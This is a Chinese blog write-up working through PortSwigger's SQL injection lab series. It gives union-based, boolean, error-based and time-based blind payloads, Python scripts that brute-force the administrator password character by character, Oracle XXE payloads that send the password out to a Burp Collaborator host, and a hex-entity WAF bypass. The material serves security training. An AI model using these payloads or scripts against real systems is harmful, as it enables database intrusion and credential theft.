burpsuit 靶场(SQL injection)

最新推荐文章于 2024-06-17 17:12:17 发布
最新推荐文章于 2024-06-17 17:12:17 发布
阅读量284 收藏
点赞数
文章标签： sql 数据库 java
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_63303407/article/details/128750121
版权

sql注入

sql注入备忘录清单

https://portswigger.net/web-security/sql-injection/cheat-sheet

SQL1

这里让我们显示所有的产品详细信息

image-20221019223131862

image-20220728143053009

点点看发现一个参数

image-20220728143133442

image-20221019222439345

但是这里不是注入点 下面才是

image-20220728143305499

image-20221019222542276

这里简单测试一下注入点便过关了

image-20221019222610800

SQL2

这里需要我们以administrator 用户登录

image-20221019222732262

image-20220728144417567

image-20221019223050749

或者

image-20220728145236354

image-20220728145255338

SQL3

让我们通过 union 注入获取列数 并将数据全部置为空

image-20221019223214765

image-20221019223356503

3没问题 4 报错 那么说明就是三列

image-20221019223440583

image-20221019223450869

image-20221019223617242

SQL4

这里首先要用 union 确定列数 接着确定兼容字符串的列

image-20221019223650634

这里写有让数据库返回的值

image-20221019223816548

image-20221019223913880

image-20221019223925338

image-20221019224011014

可见2是回显位

image-20221019224057234

image-20221019224119905

SQL5

这里让我们检索administrator的密码 顺便告诉了我们在users表 的username 和 password中

image-20221019224201520

image-20221019224302673

image-20221019224441321

image-20221019224503484

image-20221019224510240

SQL6

这里的目的和上一关是一样的

image-20221019225223737

image-20221019225304418

image-20221019225320732

这里使用上一关的payload 不可行 这里可能是由于数据类型不兼容

image-20221019225357111

当修改第一个参数为NULL的时候这里便可以正常执行

image-20221019225525509

但是这里仅有一个回显位 这里的话 我们可以选择分开执行 当然也可以将查询到的内容进行连接操作 但是这里我们并不知道网站使用的是那个数据库 这里我们可以找到

version

image-20221019225946391

从这里的sql注入的解释中可以看到

image-20221019230052424

image-20221019230019978

' union select NULL,username || '@' || password from users--+
这里的 || 是 PostgreSQL 中的字符串连接符，这样就既能将多列结果合并到单列输出，又能把多列结果区分开了

image-20221019230239330

image-20221019230344018

image-20221019230353589

SQL7

这里让我们显示数据库的版本信息

image-20221020083046536

image-20221020095539345

image-20221020095553076

但是这里当 使用 select 语句的时候出现了错误 这里的主要愿意是由于这里的数据库是oracle

image-20221020124508924

这里有写 oracle 的 select 语句

image-20221020144330138

image-20221020144446616

这里告诉了我们 oracle 的查询version 的语句

image-20221020144552901

image-20221020144815752

SQL8

同样的显示版本

image-20221020144850687

image-20221020145014425

image-20221020145000177

image-20221020145048328

image-20221020145118082

SQL9

让我们找到 用户名和密码

image-20221020145147864

image-20221020145352363

image-20221020145321748

image-20220728152555723

image-20220728153140528

image-20220728153241313

image-20220728153323931

image-20220728153420199

SQL10

其实Oracle中也有类似信息模式的东西，比如查所有的表
SELECT * FROM all_tables
 啊这，感觉比信息模式简单粗暴啊，直接叫all_tables？好东西好东西，然后我们来看一下查所有的列用什么语句呢SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

image-20220728154258920

image-20220728154419209

image-20220728154455846

image-20220728154524928

布尔盲注(11)

需要我们布尔盲注

image-20221108183049120

寻找注入点

image-20221108183359690

image-20221108183417138

一个11125 一个11064

发送到Comperer

image-20221108183437974

image-20221108183459074

image-20221108183510924

这里可以发现当正确执行时返回Welcome back!

CyqF7a1v6bQ1AFQ2' and '1'='1

image-20221108183803157

image-20221108183811735

单引号包裹

CyqF7a1v6bQ1AFQ2' and (select '1')='1'--

image-20221108185059302

判断数据库类型

字符串处理方式

mysql

CyqF7a1v6bQ1AFQ2' and 'a'+'b'='ab'-- 
CyqF7a1v6bQ1AFQ2' and concat('a','b')='ab'--

oracle

CyqF7a1v6bQ1AFQ2' and 'a'||'b'='ab'-- 
CyqF7a1v6bQ1AFQ2' and concat('a','b')='ab'--

sql server

CyqF7a1v6bQ1AFQ2' and 'a'+'b'='ab'--
数据库特有数据表

mysql

CyqF7a1v6bQ1AFQ2' and (select count(*) from information_schema.tables)>0 and '1'='1'--

oracle

CyqF7a1v6bQ1AFQ2' and (select count(*) from sys.user_tables)>0 and '1'='1'--

sql server

CyqF7a1v6bQ1AFQ2' and (select count(*) from sysobjects)>0 and '1'='1'--
盲注特别函数判断

mysql

CyqF7a1v6bQ1AFQ2' and benchmark(10000000000,encode('qwe','asd'))-- 
CyqF7a1v6bQ1AFQ2' and sleep(5)--

postgresql

pg_sleep(5)
generate_series(1,100000000)

sql server

waitfor delay'0:0:5'

image-20221108190904896

应该是oracle

image-20221108190944792

但是是mysql的表?

写下脚本

import requests
url = "https://0ac700b00331b809c05940c700fa009e.web-security-academy.net/"
result = ""
i = 0
while True:
    i  = i +1
    head =32
    tail = 127
    while head < tail:
        min = (head+tail)>>1
        payload = "select password from users limit 1"
        header = {
            "Cookie":f"TrackingId=CyqF7a1v6bQ1AFQ2' and ascii(substr(({payload}),{i},1))>{min}-- ; session=mnUw9lLQCIK5f8cJoIKvnpiedvAazXHQ"
        }
        # print(header)
        res = requests.get(url=url,headers=header)
        if "Welcome back!" in res.text:
            head = min + 1
        else:
            tail = min
    if head !=32:
        result+= chr(head)
        print(result)
    else:
        break

image-20221108194507890

image-20221108194522427

case when布尔盲注(12)

image-20221109124607311

这里当’ 时会触发500 说明存在注入

image-20221108195935627

这里尝试构造

image-20221108195732526

image-20221108195851935

这里无论是否查询到内容这里的返回都是相同的 但是这里可以发现如果sql语句出错的话依然会出现不同的回显

AlmLsfzlwnzurSMV'||(select '')||'

尝试注入 这里依然是sql语句出错

image-20221108200708870

AlmLsfzlwnzurSMV'||(select '' from dual)||'

当尝试去使用oracle的sql语句时不在出错说明此数据库是oracle的

image-20221108200747162

AlmLsfzlwnzurSMV'||(select '' from not-a-real-table)||'

当我们尝试去故意查询不存在的表时出现了错误

image-20221108200854580

KtHOWm7hjvTVkebf' and (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)='1'--

这里去构造case when去 根据 条件不同来触发sql 语句错误 从而导致页面回显不同 这里使用了case 设置了一个条件判断,当布尔结果为true时则因返回一个字符得到正常响应 如果错误就触发除零导致报错

import requests
url = "https://0af600950411066bc0df4aaa003c0077.web-security-academy.net/"
result = ""
i = 0
while True:
    i  = i +1
    head =32
    tail = 127
    while head < tail:
        min = (head+tail)>>1
        header = {
            "Cookie":f"TrackingId=KtHOWm7hjvTVkebf' and (SELECT CASE WHEN (substr(password,{i},1)>'{chr(min)}') THEN TO_CHAR(1/0) ELSE '1' END from users WHERE username='administrator')='1'-- ; session=mnUw9lLQCIK5f8cJoIKvnpiedvAazXHQ"
        }
        # print(header)
        res = requests.get(url=url,headers=header)
        if 500 == res.status_code:
            head = min + 1
        else:
            tail = min
    if head !=32:
        result+= chr(head)
        print(result)
    else:
        break

image-20221109124133881

image-20221109124451183

时间盲注(13)

这里是需要延迟十秒即可 其次这里的数据库是 PostgreSQL

image-20221109124640234

MXbXlv1I0d83X'||pg_sleep(10)-- 
MXbXlv1I0d83X';select pg_sleep(10)--

这里的 || 是指连接字符串的意思

image-20221109125344671

image-20221109125406903

时间盲注(14)

这里需要我们通过时间盲注注内容

image-20221109180701946

MXbXlv1I0d83X'%3bselect case when (1=1) then pg_sleep(10) else pg_sleep(0) end-- 
MXbXlv1I0d83X'%3bselect case when (1=0) then pg_sleep(10) else pg_sleep(0) end-- 

import requests
url = "https://0a9400ea04226c03c06d8e9300500044.web-security-academy.net/"
result = ""
i = 0
while True:
    i  = i +1
    head =32
    tail = 127
    while head < tail:
        min = (head+tail)>>1
        header = {
            "Cookie":f"TrackingId=MXbXlv1I0d83X'%3bselect case when (username='administrator' and SUBSTRING(password,{i},1)>'{chr(min)}') then pg_sleep(10) else pg_sleep(0) end from users-- ; session=mnUw9lLQCIK5f8cJoIKvnpiedvAazXHQ"
        }

        try:
            res = requests.get(url=url, headers=header, timeout=8)
            tail = min
            print('没延迟')
        except Exception as e:
            print('延迟')
            head = min + 1

    if head !=32:
        result+= chr(head)
        print(result)
    else:
        break

image-20221109185327187

image-20221109185354534

外带请求(15)

这里由于处理请求和数据库操作是两个线程异步执行的这里导致我们之前的技术都不生效了 那么这里便使用了sql语句的dns请求

image-20221109184524137

先生成一个url

image-20221109185740429

image-20221109185937976

将生成的url填入下方

x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//lodzuvzzgjnnjcvh7yff10vuhlncb1.burpcollaborator.net">+%25remote%3b]>'),'/l')+FROM+dual--

x' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://lodzuvzzgjnnjcvh7yff10vuhlncb1.burpcollaborator.net"> %remote;]>'),'/l') FROM dual--

image-20221109185925185

image-20221109190005417

外带数据(16)

这次需要我们注入数据并带出来

image-20221109190721114

c9Dnqj7ysSXtqlBF'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+from+users+where+username%3d'administrator')||'.lodzuvzzgjnnjcvh7yff10vuhlncb1.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--+

image-20221109191338089

image-20221109191426150

xml编码绕过(17)

这里需要我们去注入数据 但是这里存在waf 需要去绕过

image-20221109194107729

先安装一个插件

image-20221109200322977

注入点

image-20221109194255756

image-20221109194334586

说明表达式被执行了

image-20221109194414906

image-20221109194406660

我们先来看看怎么过滤的

单引号不行

image-20221109200118473

选中然后进行html实体编码 这里的原因就是xml兼容html实体字符编码

image-20221109200350448

image-20221109200415771

加密也确实是这样的

image-20221109200433789

image-20221109200618829

<@hex_entities>1 union select password from users where username='administrator'<@/hex_entities>

image-20221109200642587

image-20221109200746945

wanan0red
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
BurpSuite之SQL Injection
weixin_33881041的博客
03-20 135
BurpSuite之SQL Injection[平台]:mutillidae[工具]BurpSuite 1.4.07 + FireFox1:安装配置mutillidae如果遇到问题，开下面的帖子.http://www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-102:SQL...
BurpSuite实战教程01-web渗透安全测试(靶场搭建及常见漏洞攻防)
liaomin416100569的专栏
12-13 9720
渗透测试（Penetration test）即安全工程师模拟黑客，在合法授权范围内，通过信息搜集、漏洞挖掘、权限提升等行为，对目标对象进行安全测试（或攻击），最终找出安全风险并输出测试报告。Web渗透测试分为白盒测试和黑盒测试，白盒测试是指目标网站的源码等信息的情况下对其渗透，相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透。Web渗透分为以下几个步骤，信息收集，漏洞扫描，漏洞利用，提权，内网渗透，留后门，清理痕迹。
php bin2hex park,PHP bin2hex 用法 手册 | 示例代码
weixin_39941262的博客
03-11 309
tehjosh at gamingg dot netThis function is for converting binary data into a hexadecimal string representation. This function is not for converting strings representing binary digits into hexadecimal...
【burpsuite安全练兵场-服务端1】SQL注入-17个实验（全）
12-27 1万+
【BP靶场-服务端-SQL注入】16个实验-万文详细步骤
sql注入漏洞
Enya1122的博客
02-04 1315
SQL注入：是发生于应用程序与数据库层的安全漏洞。简而言之，是在输入的字符串中注入SQL指令，在设计的不良程序当中忽略了字符检查，那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行，因此遭到破化或入侵。代码层面的话，好像是这样的放一张看起来以后有用的图。
dvwa靶场通关之sql injection
07-19
dvwa靶场通关之sql injection
pikachu靶场SQL注入.docx
09-13
"Pikachu靶场SQL注入" Pikachu靶场SQL注入是针对Web应用程序的一种攻击手段，通过对Web应用程序的输入参数进行tampering，来达到访问数据库的目的。下面是Pikachu靶场SQL注入的详细知识点： 一、数字型注入（POST...
sql注入#sql靶场
11-02
sql注入#sql靶场
sql-bypass靶场
03-19
带有过滤的sqli靶场，需要先搭建dvwa靶场，因为要用到dvwa数据库
sql注入靶场.zip
06-24
sqli-labs-master,在github下载不了的可以在这下载
DVWA系列（六）——使用Burpsuite进行SQL Injection（SQL注入）
橘子女侠
05-06 1万+
1. SQL注入简介 （1）SQL注入漏洞原理 将恶意的SQL语句拼接到合法的语句中，从而达到执行SQL语句的目的； （2）SQL注入漏洞类型 字符型； 数字型； 搜索型； （3）SQL注入的过程 判断是否存在注入，注入是字符型还是数字型； 猜解SQL查询语句中的字段数； 确定显示位置； 获取当前数据库；获取数据库中表； 获取表中的字段名； 下载数据； 2....
burpsuite靶场SQL注入总结
向阳-Y.的博客
03-28 6170
burpsuite靶场SQl注入笔记~
Kali渗透测试之DVWA系列（四）——使用Burp Suite进行SQL Injection（Blind）（SQL盲注，包括盲注脚本）
weixin_45116657的博客
08-25 4381
目录： 一、SQL盲注 SQL盲注与SQL注入的区别； SQL盲注的过程； 二、实验环境 三、实验过程 基于布尔值的盲注； 基于时间的盲注； 一、SQL盲注简介 1、SQL盲注： 盲注：SQL Injection（Blind），即SQL盲注，目标只会回复是或不是，没有详细内容； 注入：可以查看详细的内容 2、手工盲注思路： 手工盲注的过程，就像你和机器人聊天一样，这个机器人知道的...
【SQL】SQL注入漏洞及相关实验（更新中）精华！不看就亏了！
weixin_45844670的博客
08-26 1541
SQL注入原理：SQL注入的原理其实并不难理解，Web应用程序后台获取用户输入并将其拼接到SQL查询语句中进行执行，而这里的用户输入就是我们可以构造恶意payload的地方，通过一些技巧使得查询语句按照我们所希望的方式执行即可完成一次成功的SQL注入。正如大多数的Web漏洞一样，究其漏洞本质就是未验证用户输入，没有实现输入数据与程序执行语句的分离。 但是由于存在不同的数据库（如常见的Oracle、SQL Server、Mysql等）所导致的具有微小差异性的SQL语句实现，以及我们无法直接观察到后台的查询逻辑
redistemplate注入为null_「Burpsuite练兵场」SQL注入及相关实验（一）
weixin_39806779的博客
11-20 199
说到SQL注入漏洞，各位小伙伴一定是耳熟能详，作为一种常见的高危漏洞，其对于应用程序的损害是非常严重的。因此这也是一个在渗透测试的过程中具有高优先级的验证目标，所以将与之相关的实验进行优先讲述。本文是 i 春秋论坛作家「dll_s」表哥原创的Burpsuite练兵场系列文章，公众号旨在为大家提供更多的学习方法与技能技巧，文章仅供学习参考。SQL注入原理：SQL注入的原理其实并不难理解，Web应用程...
DVWA系列（七）——使用Burpsuite进行SQL Injection（Blind）（SQL盲注）
橘子女侠
05-06 4235
1. SQL盲注简介 （1）SQL盲注 SQL Injection（Blind），即SQL盲注； 注入：可以查看到详细内容； 盲注：目标只会回复是或不是，没有详细内容； （2）手工盲注思路 手工盲注的过程，就像你与一个机器人聊天，这个机器人知道的很多，但只会回答“是”或者“不是”，因此你需要询问它这样的问题，例如“数据库名字的第一个字母是不是d啊？”，通过这种机械的询问，最终获得...
Burp Suite插件开发之SQL注入检测（已开源）
热门推荐
Criss@陈磊
11-16 1万+
作者：bsmali4 预估稿费：400RMB（不服你也来投稿啊！） 投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿 前言 前段时间和某师傅了解到。现在漏洞越来越难挖，但有些老司机总能挖到别人挖不到的漏洞。于是就问了下，大概是什么类型的漏洞，他说是盲注。好吧，的确是，尤其是延时注入,这类东西真的不好测试。好多次我在sqlmap下面都没有测
SQLAlchemy 连接池
最新发布
youhebuke225的博客
06-17 220
调整这些参数可以帮助你更好地管理数据库连接，并减少因连接超时或服务器断开连接而导致的问题。记得根据你的应用程序的需求和数据库服务器的配置来合理设置这些参数。在 SQLAlchemy 中，确实可以通过配置连接池的参数来管理连接的超时和回收，从而确保连接在需要时能够被重新建立。SQLAlchemy 使用的是。作为其默认的连接池实现。为了配置这些参数，你可以在创建引擎时将它们传递给。
取证工作: SysTools SQL Log Analyzer, 完整的 SQL Server 日志取证分析
sanyuan7783的博客
06-14 1020
在深入研究 SQL 事务日志取证之前，让我们先看看 T-log 文件的真实情况。就像许多其他 RDBMS 一样，MS SQL Server 也遵循“预写日志记录”方法。这意味着所有事务在提交之前都写入日志文件，并保存对数据库所做的所有更改的记录。在 SQL 取证工作之前，用户需要知道，从逻辑上讲，事务日志被分类为几个较小的部分，称为 VLF 或虚拟日志文件。每个 SQL 数据库都使用多个 VLF，每个 VLF 的最小大小必须为 512 KB。日志中虚拟文件的大小和数量会随着日志大小的变化而变化。
dvwa靶场sql注入初级
07-27
2. 在DVWA的主界面上，选择"SQL Injection"选项卡。 3. 在"Select your difficulty"下拉菜单中选择"Low"，这将设置为初级级别的SQL注入。 4. 点击"Submit"按钮，进入SQL注入的页面。 5. 在输入框中输入一个单引号...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值